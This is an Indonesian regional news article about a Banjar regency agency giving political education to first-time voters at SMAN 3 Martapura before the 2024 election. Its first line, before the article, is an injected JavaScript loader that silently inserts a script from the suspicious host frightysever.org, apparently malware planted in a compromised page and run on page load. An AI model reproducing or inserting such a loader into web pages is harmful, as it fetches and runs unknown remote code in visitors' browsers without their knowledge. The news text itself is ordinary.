(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pendidikan Politik bagi Pemilih Pemula di SMAN 3 Martapura

KANALKALIMANTAN.COM, MARTAPURA – Jelang Pemilihan Umum (Pemilu) tahun 2024, Badan Kesbangpol Kabupaten Banjar membekali beri pendidikan politik kepada pemilih pemula di SMAN 3 Martapura, Senin (30/5/2022).

Pendidikan politik dibuka oleh Sekretaris Badan Kesbangpol Banjar Wasis Nugraha menghadirkan narasumber dari Dinas Pendidikan Kalsel H Eddy Khairuddin dan Mada Taruna Staf Ahli Bupati Banjar.

Wasis Nugraha mengatakan, para pelajar yang masuk kategori pemilih pemula serius menghadapi dan menggunakan hak pilihnya pada 14 Febuari 2024 dalam Pilpres, Pileg dan Pilkada Serentak.

“Pendidikan politik bagi pemilih pemula sangatlah penting, karena akan memberikan kontribusi yang signifikan bagi sistem perpolitikan nasional,” ujarnya.

Para pemilih pemula diharapkan menggunakan hak pilih yang sebaik-baiknya sesuai hati nurani. Pemlih pemula juga diminta meelusuri visi misi program kerja partai atai calon yang akan dipilih.

“Jangan sembarangan untuk memilih pemimpin, jangan mudah termakan berita hoaks pandailah menyaring berita yang benar, harus cermat, teliti, hati-hati jangan sampai golput nantinya,” ujar Wasis.

Sementara itu, Eddy Khairuddin mengatakan, pentingnya pemilu memberikan kesempatan bagi setiap warga negara untuk menggunakan hak pilih. Sehingga dapat dikatakan tidak ada negara demokrasi tanpa memberikan adanya pemilihan umum yang dilakukan secara sistematik dan berkala.

Ditambahkan Eddy, sistem politik yang dianut oleh Indonesia ini mempunyai arti sebagai sistem politik yang didasarkan pada nilai, prinsip, prosedur, dan kelembagaan yang demokratis.

Sistem politik demokrasi di Indonesia memiliki beberapa sendi-sendi pokok diantaranya kedaulatan rakyat, negara berdasarkan atas hukum, bentuk Republik, pemerintahan berdasarkan konstitusi, pemerintahan yang bertanggung jawab, sistem perwakilan, dan sistem pemerintahan presidensial.

Staf Ahli Bupati Mada Taruna mengharapkan, pemilih pemula harus faham sistem politik dan bijak dalam pemilihan yang tepat. “Serahkan pada ahlinya, jangan jual negeri ini untuk kepentingan pribadi keluarga atau kelompoknya,” ingat Mada Taruna.

Karena cinta negeri sebagian dari iman, apabila tidak ada orang baik yang mau terlibat berpolitik maka negeri ini dikuasai oleh penjahat.

“Negeri ini tercipta dibangun dengan perjuangan bukan dengan transaksional, semoga siswa-siswi sekalian mengerti dalam memilih pemimpin yang baik dan berdaulat,” pungkasnya. (Kanalkalimantan.com/rls)

Reporter : rls
Editor : kk